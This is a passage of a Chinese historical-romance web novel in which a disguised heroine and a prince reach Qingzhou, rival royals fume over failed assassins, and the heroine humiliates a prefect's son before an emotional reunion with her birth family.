九栀假扮她的身份,和双鲤还有季行舟他们走明路,她和永安王暗地里单独走。
谢翊宁轻轻“嗯”了一声,随后安慰道:“会一路平安的,别担心。”
“就咱们两人单独走么?”晏逐星有些紧张。
她有上辈子的经历倒是不怕。
但永安王能吃得了这个苦吗。
“还有人在暗中随行,别怕。”谢翊宁低声安慰。
昨天下午,他就已经派人在城西的威风镖局办妥了手续。
他这一趟,要走“人镖”。
停云受伤太重,暂时先留在玉禅寺养伤,之后再另行回京。
几个受了轻微伤的暗卫,暗中随行,除此之外,还找了另一个镖局的人跟着他们。
五天的赶路时间,平安抵达青州,问题不大。
他已经分析过了。
那日倾巢而出的两批暗卫,应该是出京的时候就盯着他们了。
之前一直不敢动手,就是因为没有十足的把握杀掉他们,更害怕暴露自己的身份。
所以这一回,明面上有衙役保护着他们出行,那些人应当不敢再轻举妄动。
除非,他们幕后之人彻底疯了。
“走吧,小妹。”谢翊宁侧过头,用不大不小的声音招呼晏逐星,语气自然得像真喊自家妹子,“镖局那边也该发车了,别误了时辰。”
晏逐星立刻配合地微微颔首,小声应道:“听大哥的。”
两人不再耽搁,熟门熟路地拐向城西。
今天清晨的威风镖局门口,比昨天热闹得多。
几辆罩着厚实油布、捆扎结实的大车已经套好了骡马,不安分地踏着蹄子。
一个管事模样的汉子手里捏着张单子,正扯着嗓子点名:“张记的货!齐了没?”
谢翊宁带着晏逐星,径直走向那管事。
“这位管事大哥,”谢翊宁脸上堆起熟稔的笑容,抱了抱拳,“我们兄妹俩,昨日定了去青州的人镖。文书在这儿。”
他从怀里掏出那张摁了手印的薄纸。
管事抬眼扫了一下,又核对了一下手里的名册:“哦,棠家兄妹是吧?”
见两人点头,他仔细打量了他们一眼,也点了点头。
“保人镖的。行,记住了。规矩都清楚吧?一切听指挥!”
“清楚清楚,多谢大哥提点!”谢翊宁和晏逐星各自翻身上骡子,跟在了货物的后边。
“都齐了!发车——!”管事扯着嗓子一声吼。
鞭哨声清脆响起,车夫“驾”的一声吆喝。
拉车的骡马喷着响鼻,迈开了步子。
沉重的车轮碾过石板路,发出沉闷的辘辘声。
威风镖局这支不起眼的车队,缓缓动了。
它从城西门悄无声息地驶出,驶上了一条与官道方向一致但更为僻静些的支路,同样朝着青州的方向。
*
几日后。
睿王和康乐公主手底下幸存的暗卫一前一后地赶回了京城。
得知谢翊宁等人没死,自己派出去的十个暗卫还折损了八个,睿王差点没气得背过气去。
暗卫又不是街上随手可得的馒头。
那都是宫里暗卫营千锤百炼出来的顶尖人物。
一个顶好几个寻常护卫。
他堂堂皇子,定额也就十二个,公主才六个。
这次他是真下了血本,豁出去派了十个暗卫。怕不够保险,还另外又把自己私下养的十几个死士也派了出去。
为的就是一劳永逸,把谢翊宁摁死在路上。
谁成想人没弄死,自己的暗卫倒搭进去八个,死士也死了一大半。
谢允恪心痛得几乎无法呼吸了。
“王爷,那咱们还要继续派人去青州么?”暗卫石山跪在地上,忍着伤痛开口询问。
第272章 是奇耻大辱
“去什么去!”睿王谢允恪烦躁地踱到窗边,背对着石山,眼神锐利地扫过窗外沉沉的夜色。
去?
再派人,他家底都要被掏空了。
暗卫和死士又不是韭菜,割完一茬就能很快长出新的一茬来。
再说了,此时的谢翊宁必然如同惊弓之鸟,警惕心提到了最高,也不好下手。
荒郊野岭的意外机会没了,青州地界水深,谁知道那边还有没有他的人?
最重要的是,父皇那边是否收到了他遇刺的消息,会不会已经派人在路上等着抓动手的人了。
可若不去?
谢翊宁没死,那他亏损的那些人手不是白白没了?
这次打草惊蛇,以后再想动手,难如登天。
到底要不要继续。
两种念头在他脑海里反复交织。
最终还是理智战胜了愤怒。
他咬牙切齿道:“眼下按兵不动!给本王死死盯紧青州和京城的动向!尤其是……康乐公主府!”
谢翊宁受了这么大的委屈。
等回了京城,肯定会闹得天翻地覆。
依照父皇和皇后疼爱他的程度,此事一定会严查,他必须在那之前,把所有罪名都推到康乐公主头上。
*
同一时间,康乐公主府。
精致的暖阁内,茶香袅袅。
康乐公主谢婳正慵懒地倚在贵妃榻上,伸出纤细的手指,由侍女小心地染着蔻丹。
一个心腹嬷嬷脚步又急又乱地闯了进来,顾不得行礼,脸色苍白地扑到谢婳榻边,附在她耳边急促地低语。
谢婳脸上的闲适瞬间烟消云散,她猛地坐直了身子,怒吼道:“你再说一遍?!他的人没死,我们的死了三个?”
嬷嬷“扑通”跪下,声音发颤:“殿下息怒,刚刚传回的消息,千真万确……”
“怎么没的?!”谢婳咬牙切齿地质问。
她拢共才六个暗卫,一次就折了一半?
这简直是在剜她的心尖肉!
“是、是被马蜂蛰了喉咙,窒息而亡的……”嬷嬷说完,脑袋垂得更低了。
谢婳差点以为自己听错了。
被马蜂活活蛰死?!
她康乐公主的暗卫,竟然死得如此窝囊?!
这简直是奇耻大辱。
“把人给我带上来。”谢婳咬牙切齿地开口,将屋子里的侍女都屏退了。
外边跪着的暗卫首领周青羞愧地走了进来,再次跪下。
“属下无能,辜负了殿下的期望……”
“你确实无能。带出去的人,没杀了谢翊宁就算了,竟然还让他们死得那么窝囊。”谢婳越说越气,胸口那股邪火蹭蹭往上冒。
这死法也太憋屈了!
简直丢尽了她的脸!
“这就是你保证的万无一失?死得这么窝囊!你让本宫以后还怎么用你们?”
听着康乐公主冷冰冰的话,周青浑身一抖,冷汗刷地下来了。
那场面,他自己想起来都觉得荒谬。
按照他们的原计划,永安王插翅难飞。
谁知道临清知州这般无用。
看着康乐公主怒气冲冲的眼神,他知道,今天要是说不出点真正有用的东西,怕是走不出这扇门了。
“殿下息怒!”周青连磕了好几个响头。
“属下该死!但请殿下听属下说完。这次虽然栽了,可属下撤的时候,发现了一个天大的事。或许能抵点罪过。”
谢婳没说话,眼神还是冷的,但周青这番话让她暂时压下了立刻发作的念头。
她慢慢坐回椅子上,冷冷道:“说。”
周青吸了口气,像是抓住了救命稻草,飞快道:
“属下避开那些马蜂后,没敢走远,重新追了上去。就看见另一批黑衣人,也冲着永安王而去。看样子是做了准备,专门等我们失手或者永安王逃出来,再补上致命一击。”
“他们果然追上了永安王一行人,双方搏斗惨烈,虽然他们蒙着面还刻意改变了招式。但属下还是认出来了,那些人分明也是暗卫营里出来的。他们的人撤出莘县时,属下冒险,远远地跟上了他们。”
“他们很警觉,属下差点跟丢好几回。最后,回到京城,属下看得真真的……”
“他们趁着天黑,摸进了睿王府的后门。”
“睿王府?”谢婳的声音一愣,旋即反应了过来。
想必是她派人去追杀谢翊宁的时候,睿王也蠢蠢欲动,想来一出螳螂捕蝉黄雀在后。
得知睿王的人损失得比她更多,谢婳心里的不满,诡异地退去了几分。
“利用本宫?呵。”
谢婳露出了冷笑。
既然睿王用她的人来开刀,那就别怪她把这事推到他头上了。
“本宫给你一个将功折罪的机会。”她垂眸扫视了一眼跪在地上的周青,压低声音吩咐了下去。
周青听完,当即道:“属下万死不辞。定然给殿下把这事办得漂漂亮亮的。”
*
从莘县到青州的行程,顺利得让张正钦感觉不可思议。
一路上别说什么刺杀了,天公作美,连小毛贼都没出现过。
一路平安。
太好了,大人的前程这下是稳了。
张正钦乐呵呵地把人送到了青州府衙。
青州知府邢天海得知县主回家寻亲遇刺,吓了一跳。
如今人到了,他赶忙领着夫人女儿亲自出来迎接。
没想到却被拒绝了会见。
“辛苦邢大人了。只是我家县主受了伤,连日赶路,如今十分疲惫想先行休息。”双鲤客客气气地开口,语气却是不容拒绝。
“是是是,县主辛苦了,是该让县主先好好休息。下官明日再备上美酒佳肴为县主接风,届时还望县主赏脸。”
现在见不到人,邢天海也不急,他脸上依旧笑呵呵的。
马车里终于传来了一声“嗯”。
邢天海笑逐颜开。
他一边命人将县主请到提前安排好的院子里,一边吩咐下人快去请大夫。
邢夫人有些不满道:“这县主好大的架子,竟然连面也不露。大人何必这般殷勤。”
“你懂什么。”邢天海横了她一眼。
这位令嘉县主的身世他也有所耳闻。
之前是在青州,被前任青州知府温如璋的妹妹温如霜给拐走了。
现在回青州,想必是寻到生身父母了。
若是普通的县主,他倒也不必这般殷勤,但根据京城里传回来的消息称这位令嘉县主和其他县主可不一样。
她不仅是烈国公的义女,还深得皇后和永安王的喜爱。
听说开了一个什么流光阁,得了皇上御笔亲书的匾额。与京城里那些高门贵妇关系十分密切。
总而言之,得罪不得。
第273章 打退堂鼓了
九栀和双鲤进了院子里,关上门后,确认没有外人这才把幂篱给摘下来了。
“县主和王爷到青州了么?”九栀有些焦急。
这一路上让她扮演县主,戴着幂篱倒是不难。
但明日接风宴,她总不能还一直不以真面目示人吧。
要是县主还没到,她就只能称病了。
“应该快到了。待会将鸣珂大哥寻来问问。”双鲤也有些担心。
先前经历过追杀之后,她就格外担忧县主的安危。
这一条路上她提心吊胆的,就怕县主出什么事。
两人把谢翊宁留在他们身边的暗卫鸣珂叫了过来。
“放心吧,王爷他们比我们先一步抵达青州了,今晚便会跟我们汇合。”
有了鸣珂这话,两人放心多了。
这时外边传来丫鬟的声音。
“县主,大人给您请了大夫……”
九栀赶忙将幂篱戴上,让双鲤出去敷衍她。
“多谢大人好意,但我们随行的人里有大夫,就不必劳烦大人了。”
见双鲤这么说,小丫鬟只得把领着大夫告退了。
双鲤回到屋内,和九栀对视一眼,两人都看出了彼此眼里的无奈。
县主什么时候才回来呀!
此时被两个丫鬟惦记着的晏逐星,正跟着谢翊宁去见了隐麟卫指挥使秦朔。
秦朔调查棠家村被屠的案件调查到一半,忽然得知谢翊宁被刺杀一事,吓得让人八百里加急传信回京。
永安王若是被暗杀成功,那可就要天下大乱了。
如今看到平安无事的谢翊宁站在他面前,秦朔长长的舒了一口气。
“所以本王遇刺一事,父皇已经收到消息了?”谢翊宁挑眉。
“是。”秦朔点了点头。
谢翊宁哼了一声:“这一回我可是受了天大的委屈,若父皇不把幕后之人揪出来给我一个交代,不派人八抬大轿接我回京,那我就在青州待一辈子,不回去了。”
秦朔:“……”
到底是谁想不开刺杀这位活祖宗的。
他若是一辈子在青州呆着,按照帝后对他的溺爱,保不准会迁都到青州。
到时候朝堂可就又有得来吵了。
秦朔赶忙道:“王爷放心,皇上一定会狠狠替您出了这口恶气的。下官已经向青州卫所借了二百将士过来保护您的安全。若那些歹人再敢出手,定叫他们有来无回。”
“这还差不多。”谢翊宁满意地点了点头,随后问了一个重要的问题。
“棠家人呢?如今身在何处?”
先前得知临清知州要对他们动手时,他便命人传信来了青州,让隐麟卫照看棠家人。
秦朔赶忙道:“他们如今住在下官安排好的院子里,王爷可是现在就要见他们?”
谢翊宁扭头看向晏逐星。
马上要见到家里人了,晏逐星莫名产生了一种“近乡情怯”的感觉。
一路上期盼着和家里人见面,却又在即将见面时打起了退堂鼓。
爹娘见到她会说什么呢……
会不会说她如今和小时候相去甚远,不如小时候可爱讨喜?
她忍不住胡思乱想了起来。
“要不明天吧。”晏逐星咬唇摇了摇头。
“我如今这副模样,他们见了,恐怕会担心。”
她指了指身上略有些脏的衣裙。
这几日赶路,风尘仆仆,她不想用这样的样子去见家里人。
“好,听你的。”谢翊宁毫不犹豫地点头。
他又问:“那咱们现在要和九栀他们换回来么?”
“我得去一趟青州府衙,不然九栀和双鲤他们会担心的。”晏逐星点点头,随后露出一抹狡黠的笑,“而且青州知府不是在通缉咱俩么,他怕是怎么也想不到,要找的人就在他的府衙里吧。”
“好主意。”谢翊宁跟着点头。
“那本王继续给你当护卫,如何?”
他笑着看向晏逐星。
晏逐星瞥了一眼秦朔。
这位隐麟卫的指挥使大人,不会把这事告诉帝后吧?
到时候皇上和皇后娘娘知道她竟然把尊贵的永安王当护卫指挥,岂不是要大发雷霆。
她赶忙摇头:“不了不了。咱们还是分开比较好。”
谢翊宁听到这话顿时有些不乐意了。
之前逃命的时候可不是这么说的,怎么一安全了,反倒见外了起来。
朝夕相处了一段时间,晏逐星已经能很好地领会他每一个表情的意思了。
见他抿唇似乎有些不悦,晏逐星赶忙解释:“我的意思是王爷您得在外头坐镇,若我在里边出了什么事,您也好及时救援。”
“行吧。那让鸣珂继续跟着你们。”谢翊宁觉得她说得到也有几分道理,点头答应了下来。
“你家里人那边,本王也会让人去知会一声。”
“多谢王爷。”
晏逐星这才去府衙和九栀把身份换回来。
她离开后,谢翊宁问起了棠家村的事情。
“可有眉目了?”
调查了那么久,总不能一点线索也没有吧。
“回王爷。棠家村被屠一案,青州府衙历年卷宗里有明确在案的记录,说是山匪所为。那些山匪全都被判了斩立决。”秦朔将这段时间调查的事情细细道来。
谢翊宁没说话,等着他继续说下去。
他相信隐麟卫出手,不可能只查到了这些明面上的东西。
“此案当年乃是温如璋督办,如今他在漳浦县,下官已经命人去寻他了。一来一回,需要时间。除此之外,我们仔细核对过了,除了令嘉县主的家人,那夜还有一个孩子逃出去了。”
“此人名叫棠奇,是个哑巴,我们还在找他。”
“不必找了,本王见过他了。”谢翊宁摆了摆手,将徐家的事情说了出来。、
秦朔听得目瞪口呆。
永安王这运气也是没谁了。
他们辛辛苦苦在找的人,竟然让他给遇上了。
“这样就说得通了。”秦朔露出了恍然大悟的表情。
“下官命人去挖了棠家村村民的坟,发现他们的骸骨上边没有留下任何的伤口。不像是山匪所为。依照那孩子所言,割喉而亡就对的上了。”
这个情报很重要。
能一下驱使那么多死士的,绝非普通人。
他脑海里一瞬间闪过了好几个名字。
第274章 看中被抢了
只是如今没有证据,他不能胡乱说出来,但至少调查的方向有了。
秦朔大感振奋。
当即决定派下属去查。
没想到,永安王又给了他一个新的任务。
临清、搏命窟、西戎小王子。
三个词单独看,他都认识,怎么连在一起,他就听不懂了呢。
他一脸疑惑地看着谢翊宁:“王爷您是说西戎的小王爷被关在临清地下搏命窟和猛兽搏命?”
他差点以为自己是不是听错了。
“没错。当年他随西戎大王子来过大虞,我见过他。你先把人弄回来再说。”谢翊宁十分笃定。
秦朔没再询问,当即应下,派人先去把西戎小王子给救出来。
*
晏逐星给青州府衙里的鸣珂递了信。
很快,鸣珂就安排好了一切。
九栀借口要出门逛逛,给家里人买点东西,拒绝了邢夫人母女的陪同,顺利出门和晏逐星互换了回来。
见到平安无事的晏逐星,双鲤悬着的心总算放了下来。
“县主,您都不知道,这段时间可把奴婢担心坏了。”双鲤激动得语无伦次。
“我这不是好好的么。”晏逐星安抚地拍了拍她的肩,温声道。
“不过既然出来了,便先逛逛吧。”她话锋一转,语气轻快了些,眼底却掠过一丝遗憾,“可惜之前备下的那些心意,都落在临清的客栈里了。”
如今只能重新再买些东西当做见面礼了,不然空着手,总感觉不太合适。
“都怪那些可恶的人。”提起这事,双鲤就气得板起了小脸,
那些礼物可都是县主精挑细选出来的,是便宜那些家伙了。
“无妨,他们拿了不该拿的东西,迟早要吐出来的。”晏逐星的脸上浮起了笑意,“先逛逛去吧。”
先前分别时,王爷给她塞了一千两银票,让她先拿着花。
她本欲拒绝,但王爷说这是她这回救命的谢礼,她便安心收下了。
嘿嘿,如今她不缺钱了,可以给爹娘兄长买礼物了。
“好呀。”双鲤高高兴兴地答应了下来。
“先去文墨轩。”晏逐星先前已打听过,此乃青州最大的文房四宝店,想必一定可以买到符合父亲和兄长心意的物件。
双鲤和九栀对此自然没有任何意见。
几人刚走到离文墨轩不远的街口,就被斜对面一家铺子前热闹的景象吸引了目光。
那铺面不算大,门楣上悬着一块素雅的木匾,写着“沁香斋”三个清秀小字。
铺子门口支着几顶宽大的油布遮阳棚,棚下排着不算短的队伍,男女老少皆有。
“咦?县主您瞧,那边好多人排队呢!”双鲤好奇地踮起脚尖张望,她吸了吸鼻子,“呀,好香!像是……冰湃果子的清甜味?”
晏逐星顺着她指的方向看去,也闻到了一阵诱人的清凉甜香。
她看到招牌,顿时恍然大悟。
这几日跟着镖局一路走来,听他们说起过不少青州城内好吃的和好玩的。
据说青州城里有家专做夏日消暑的精致冰食的铺子,每到盛夏午后,门前必排长龙。
就叫沁香斋。
铺中最为人称道的便是“冰雪山楂蜜桃羹”,堪称城中一绝。只是那玩意要一百文钱一碗,普通人家吃不起。
“你这鼻子倒是灵敏。”她笑着刮了刮双鲤的鼻尖。
她把路上的见闻告诉了双鲤。
双鲤听完咽了咽口水:“冰雪山楂蜜桃羹?听着就很好吃。”
看着她那几乎要黏在队伍上的眼神,晏逐星莞尔。
“你既瞧见了,又这般好奇,便去排着吧。买三份他家的冰雪山楂蜜桃羹来,我们先去文墨轩,待会你再来与我们会合。”
这六月中的青州,太阳火辣辣的,热得很,她们这一路走来也确实有些口干舌燥了。
看着沁香斋门前的队伍,想必采买也需要时间,倒不如兵分两路。
等她给父亲兄长买完礼物,双鲤应该也买好了。
双鲤一听,喜上眉梢,脆生生地应道:“是!奴婢这就去!”
她刚跑走,晏逐星就看向了鸣珂,给他也塞了一张十两的银票。
“你也去吧。多买些,你们也消消暑。然后记得把铺子里每一样都来一份,然后给王爷也送些去。”
鸣珂没想到县主竟然还惦记着他。
他有些迟疑:“可我的任务是保护您……”
晏逐星看着他,不由想起了停云。
若是停云在,肯定二话不说就去了。
停云对她似乎有种盲目的信任……
想到这,晏逐星忍不住笑了起来:“但你也应该记得,王爷说过什么。”
鸣珂一想,王爷曾说,县主的命令等同于他的命令。
“是。属下遵命。”鸣珂不再犹豫,拿着银票追上去跟双鲤一块排队。
晏逐星则领着九栀进了文墨轩。
文墨轩内陈设雅致,墨香隐隐,四壁悬挂着字画,博古架上陈列着各色文房清供。
她的目光立刻被柜台中央一方刚刚被伙计摆放出来的砚台给吸引住了。
想必这就是大虞四大名砚中的青州红丝石砚了。
这方砚台,送父亲正好。
晏逐星一眼就瞧上了这个砚台,她当机立断道:“掌柜的,这个,拿来我看看。”
“好咧!”掌柜笑呵呵地应下,随后小心翼翼地将砚台捧了下来,摆在她面前的绒布上,热情介绍了起来。
“姑娘好眼光!此乃敝店新得的镇店之宝之一。”
“您看这石质,温润细腻如小儿肌肤,天然云纹如烟霞缭绕,灵动飘逸。最难得是这……”
晏逐星看去,发现砚池处隐约有一抹天然生成的朱砂红晕。
掌柜见她看清了,这才继续道:“这叫‘胭脂晕’,万中无一,是上品中的上品。此砚发墨如油,贮墨不涸,实乃读书人的心头好啊。”
晏逐星伸手摸了摸冰凉的砚身,触感确实和掌柜说的一样温润细腻。
她将砚台拿起来仔细打量,发现那抹胭脂红晕会随着光线流转,是个好东西,送给父亲,很不错。
她心中已定,抬眸问道:“确实是好砚。您开个价吧。”
掌柜满脸堆笑:“姑娘,这等品相的红丝石砚,实属难得。纹银八十两,已是看在姑娘是识货之人的份上,给的实在价了。”
晏逐星点点头:“好,我要了。”
掌柜没想到刚拿出来就把这砚台卖出去了,喜不自胜。
正欲让人包起来,就听门口传来一阵喧哗和一个略显轻浮傲慢的少年嗓音:“掌柜!听说你这儿新到了顶好的红丝砚?快给本公子瞧瞧,若是入眼,正好孝敬我家老爷子!”
话音未落,一个身着宝蓝云纹杭绸直裰,腰悬玉佩手持折扇的锦衣少年,在几个随从的簇拥下,大摇大摆地走了进来。
他一眼就锁定了柜台上那方云纹胭脂晕的红丝砚,眼睛一亮,用扇子一指:“哈!就是它了!看着就不错。掌柜的,包起来,本公子要了!”
他身后的随从立刻上前将柜台前的位置挤占了大半,气势汹汹。
第275章 有人倒霉了
掌柜的笑容僵在脸上,额头瞬间冒汗,搓着手为难道:“哎哟,邢公子您大驾光临,我们文墨轩真是蓬荜生辉。只是实在不巧,这方砚台,这位姑娘已经看中了,正要付钱呢……”
他有些为难地指了指晏逐星。
邢文琅眉头微蹙,斜了一眼晏逐星。
见她衣着素雅,姿容虽盛却只带着一个侍女,显然不是本地他认识的显贵家眷,脸上立刻露出不耐烦和轻视。
他“唰”地一声甩开折扇,扇了两下,嗤笑道:“她付钱了吗?没付钱就还不是她的!本公子看上了,自然归本公子!”
文墨轩的掌柜顿时一个头两个大。
这位邢公子可是知府大人最宠爱的幼子,得罪不得。
可他们做生意讲究的就是一个诚信,已经应下先前这姑娘,再改口也不合适。
见掌柜竟然没有马上把砚台包好递给他,邢文琅顿时沉下了脸:“你莫非想得罪我父亲不成?我告诉你,这砚台多少银子,我都要了!”
他为了给父亲挑生辰礼烦恼了许久,好不容易看上一个合眼缘的,他必须要拿到。
说完他瞥了身后的小厮一眼。
小厮当即打开钱袋,将一张百两银票拍到了台面上。
“够了吧?够了,这砚台本公子就拿走了。”
邢文琅得意扬扬,伸手就要去拿那方砚台,仿佛那已经是他的囊中之物。
“小姐,要动手么?”九栀压低声音询问。
在外,她不确定县主是否想要暴露身份,因此改了称呼。
晏逐星看着掌柜对那男子的态度,再加上听到他的姓氏,心里已经猜出了他的身份。
她挑眉一笑,冲九栀摇了摇头:“不急。”
九栀将放在腰间剑柄上的手放了回去。
好的,没事了,县主这么笑,有人要倒霉了。
邢文琅的手刚碰到砚台,砚台就被晏逐星按住了。
她淡淡道:“公子,凡事讲究个先来后到。此砚是我先看中,价已言明,银钱即将交付。掌柜开门迎客,讲的是信誉规矩,岂能因公子后到便要强取?”
邢文琅用力一扯,想要把东西拿回来,没想到竟然没扯动,砚台在晏逐星手里纹丝不动。
他恼羞成怒道:“哪来的小娘们儿,敢跟本公子讲规矩?在这青州地界,我邢家看上的东西,那就是我邢家的!识相的赶紧让开,否则……”
他身后的小厮们配合地向前逼近一步,面露凶相。
掌柜的在一旁急得如同热锅上的蚂蚁,连连作揖打躬:“邢公子息怒!这位姑娘息怒!有话好说,有话好说啊……”
眼见马上要起冲突,他看向晏逐星劝解道:“姑娘,这位是知府大人的爱子,您莫要争一时之气啊。”
“听到没,我爹是知府。”邢文琅抬着下巴,趾高气扬地看着晏逐星,“你确定要得罪我么。”
“知府又如何?你爹见了我,也得恭恭敬敬地给我倒茶,你又算个什么东西。”晏逐星冷笑。
“哟!你这小娘们好大的狗胆!好大的口气!”邢文琅简直气笑了。
他何曾见过如此不知天高地厚敢当面侮辱他父亲的人?
他怒气冲冲地将手中折扇狠狠地点向晏逐星的鼻尖:“我看你是活腻歪了!来人,给我揍她!”
话音落下,他的人还没动,晏逐星就先动了。
她手一伸,邢文琅只觉得手腕一阵酸麻,定睛一看,发现他手中的折扇已经易主,稳稳落入了晏逐星的手中。
邢文琅还没来得及喊疼,就看到眼前扇影晃动。
“啪!”
“啪!”
“啪!”
晏逐星拿着折扇毫不留情地反手抽在他那张写满错愕与惊怒的脸上。
邢文琅被打得脑袋嗡嗡作响,脸颊迅速浮起三道红肿起来的痕迹。
他整个人都懵了。
“少爷?”他身后的随从们这才反应过来,主子竟然被打了?!
这还了得!
离得最近的两个随从怒吼着扑了上来,想要捉拿晏逐星将功折罪,然而,他们的手连晏逐星的衣角都没碰到。
“九栀,踢出去,别砸到掌柜的东西了。”晏逐星微微一笑。
“是。”
主仆二人对话之间,九栀动了。
两个动手的随从被她一前一后地踢飞出了大门。
还要动手的第三、第四个人,也被她卸了胳膊,像扔包袱一样地扔了出去。
文墨轩里的人看得目瞪口呆。
这主仆二人是吃了雄心豹子胆吗,竟然连知府大人的爱子都敢打?
掌柜悄悄看了一眼晏逐星,在心底嘀咕:这姑娘人还怪好的咧,知道不能把他的东西给打碎了。
邢文琅人都快气炸了,他什么时候受过这种委屈?!
“你,你给我等着!我弄死你!”他知道自己打不过晏逐星,捂着火辣辣的脸,愤愤离开了。
掌柜一脸担忧地看着晏逐星。
“姑娘,你不是本地人吧?趁着知府大人还不知道这事,拿了砚台,赶紧离开吧。”
掌柜把先前那方砚台递给了晏逐星。
不曾想,晏逐星却摇了摇头:“邢公子付了钱,那就是他的了。”
“啊?”掌柜茫然了。
先前不是还为了这方砚台大打出手么,怎么现在就不要了。
“掌柜,你赶紧把东西送去知府大人府上吧,省得之后邢大人怪罪。”晏逐星点了点柜面。
掌柜一惊,忙点头:“多谢姑娘提醒。”
而后他一脸歉意道:“姑娘,实在对不住了。那你再挑挑,若是有喜欢的,小的给您最低价。”
“不必了。”晏逐星摇了摇头,领着九栀离开。
九栀有些疑惑:“小姐,不给老爷和公子买礼物了么?”
晏逐星再次摇头,微微一笑:“不用买了,等会儿自然有人会把礼物送上门来。”
有人白送礼物,为什么还要花钱买呢~
真好。
又省了八十两银子。
她笑眯眯地打算出门去等双鲤把冰雪山楂蜜桃羹买回来,吃完了继续逛。
她还得给娘亲和兄长买礼物么。
但走到门口时,她脸上的笑容就僵住了。
第276章 突然的重逢
看着站在门口的棠云麒,晏逐星整个人都呆住了。
她万万没想到,青州城这么小,她竟然在街上遇到了兄长。
她的目光顺着棠云麒移到了他身后几人的身上。
她一眼就看到了那个与大哥有着一模一样轮廓和五官的男子,只是两人的气质截然不同。
大哥沉稳明朗,这人眉宇间却多了几分书卷气。
他此刻也正用同样震惊和难以置信的眼神望着她。
晏逐星认出来了,这是她的二哥棠云麟。
站在两人身后的是一位身着靛青色细布长衫的俊美中年男子。
他嘴唇紧抿,握着折扇的手背上青筋微微凸起,而紧挨着他的是一位身量高挑、肩背挺直的女子。
她的肤色是健康的小麦色,带着常年习武的痕迹,眉眼英气勃勃,虽不施粉黛,却自有一股飒爽明艳的风姿。
此刻,她那双明亮如星的眼眸里,瞬间盈满了巨大的惊喜和不敢置信的水光。
她几乎下意识想要上前一步的,但却又不敢上前,只得紧紧用右手抓住了身侧夫君的手。
爹、娘。
晏逐星脑海里自动浮现出了这个声音。
可她还没有做好准备和他们见面呢,怎么就撞见了?
她有些慌乱,又有些不知所措。
她预想过的见面场景,是一家人在屋子里,她言谈得体地出现在他们面前。
好让他们知道,虽然流落在外许多年,但她也长成了让他们骄傲的孩子。
而不是像现在这样突如其来,什么也没准备好。
“婋婋,真的是你?!”棠云麒率先开口。
先前他们一家四口正出来闲逛,打算看看青州城内有什么好吃的好玩的,明日见了妹妹便可以亲自带她来逛逛。
路过文墨轩,听到了里边起争执,他好奇地看了一眼,没想到竟然看到了妹妹。
他还以为看错了呢。
“大哥……”
晏逐星手足无措地站在原地,方才面对邢文琅的那份从容早已荡然无存。
取而代之的是一种近乎慌乱的紧张。
他们是不是都看到了?
看到了她如何毫不留情地抽打邢文琅的脸,看到了她授意九栀如何揍人。
整整十几年的分离,音讯全无。
她在他们记忆中的模样,或许还是那个会撒娇、会依赖、需要被保护的小女儿。
而如今骤然重逢,映入他们眼帘的却是一个手段强硬、动辄伤人,甚至带着几分狠戾的陌生女子形象。
他们会怎么想?
会不会觉得她骄纵跋扈?
会不会觉得她心狠手辣?
巨大的不安如同冰冷的潮水,瞬间淹没了重逢的喜悦。
沉默被棠云麟打破了。
“婋婋是只记得大哥,不记得我这个二哥了么?”他有些无奈又有些伤心地看着面前一言不发的妹妹。
听到这话,棠云麒有些得意地勾起了唇角。
他先和婋婋相认的,婋婋当然更记得他这个大哥啦。
晏逐星看着他眼里的关心,有些鼻子发酸,小声地喊了一声二哥。
后边的棠风陵和方青鸾,眼里已经涌上了热泪。
对视的那一瞬间,棠风陵的身子甚至控制不住地开始颤抖。
“婋婋,我是阿爹,你还记得么?”棠风陵先开口,声音里是止不住的哽咽。
晏逐星看着他那陌生又熟悉的脸,点了点头。
“那你怎么不叫我?你可是在埋怨我和你娘把你弄丢了?”棠风陵心头一片苦涩。
“爹,才没有。”晏逐星用力摇头。
“好了,夫君,这不是说话的地方,咱们换个地方说话。”方青鸾察觉到夫君身子有些撑不住了,赶忙开口。
晏逐星看着爹爹有些苍白的脸,赶忙扭头看向九栀:“去对面的茶楼订个雅间。”
九栀当即应下。
双鲤正好买了冰碗回来,瞧见棠家人,愣在了原地。
她看向棠云麒,又看向棠云麟,露出了恍然大悟的表情:“大公子!二公子?”
又探头看了一眼棠风陵和方青鸾。
随后低头看了一下拎着的篮子。
哎呦,只有三碗,不够分咋办?!
她瞥了一眼鸣珂手里的两个大食盒……
拿来吧你!
她果断把鸣珂手里的食盒拿了过来,递给晏逐星。
“县主,这都给您和老爷夫人还有两位公子,我和鸣珂大哥继续排队去!”
这都是花县主的银子买的,当然得先给县主的家里人啦。
晏逐星看着手里两个重重的食盒,无奈地笑了。
“咱们先去茶楼吧。”
棠家人眼中含泪,但却都笑着点了点头。
九栀已经定好了雅间。
让他们落座后,她守在了外边,把相处的时间留给了棠家人。
到了没有外人的地方,方青鸾终于控制不住自己汹涌的情绪。
她猛地将还在发呆的女儿揽入怀中,但却又小心翼翼地控制着自己拥抱的力度,生怕伤了女儿。
她的脸上带着笑意,眼泪却无声无息地滑落。
她吸了吸鼻子,努力让自己的声音听起来平静而温柔,带着无尽的骄傲和一丝不易察觉的哽咽,轻声道:“我的婋婋,长成了一个漂亮又厉害的大姑娘了呢。”
她这简单的一句话,让晏逐星所有的委屈、思念、不安和劫后余生的庆幸,都化作了滚烫的泪水,“啪嗒”、“啪嗒”地砸落。
“阿娘……”
她将脸深深埋进娘亲带着熟悉又陌生气息的怀抱,像小时候受了委屈那样,哽咽着唤出这个在心底呼唤了千万遍的称呼。
她再也不用羡慕别人了,她也是有娘亲撑腰的人了。
她才不是什么野孩子。
方青鸾感受到女儿滚烫的泪水和微微颤抖的身体,心疼得厉害。
她笑着,眼泪却流得更凶,低低地回应:“哎,阿娘在呢,婋婋乖,阿娘在呢……”
第277章 命运捉弄人
一旁的棠风陵父子三人,听到母女二人的对话,再也忍不住红了眼眶。
棠风陵伸出手,轻轻拍着女儿的背,像小时候那样哄着她:“婋婋不哭,爹爹待会带你上街买糖吃。”
棠云麒嘟囔道:“爹。你偏心,你怎么不给我和二弟买。”
棠云麟:“……”
大哥这几年究竟在外历练了什么东西?
怎么感觉比小时候还幼稚了。
“我不用,你给婋婋和大哥买就行。我今年又不是三岁。”棠云麟一本正经地开口。
听着这番对话,晏逐星没忍住“噗嗤”一下笑出了声。
她从娘亲的怀里起身,掏出帕子擦掉眼泪,将食盒打开。
“咱们还是先把这冰碗吃了吧,不然待会都化了。”
“好呀,好呀,我早就馋了。”棠云麒迫不及待地打开了食盒。
鸣珂几乎将沁香斋里的冰碗都买了一份。
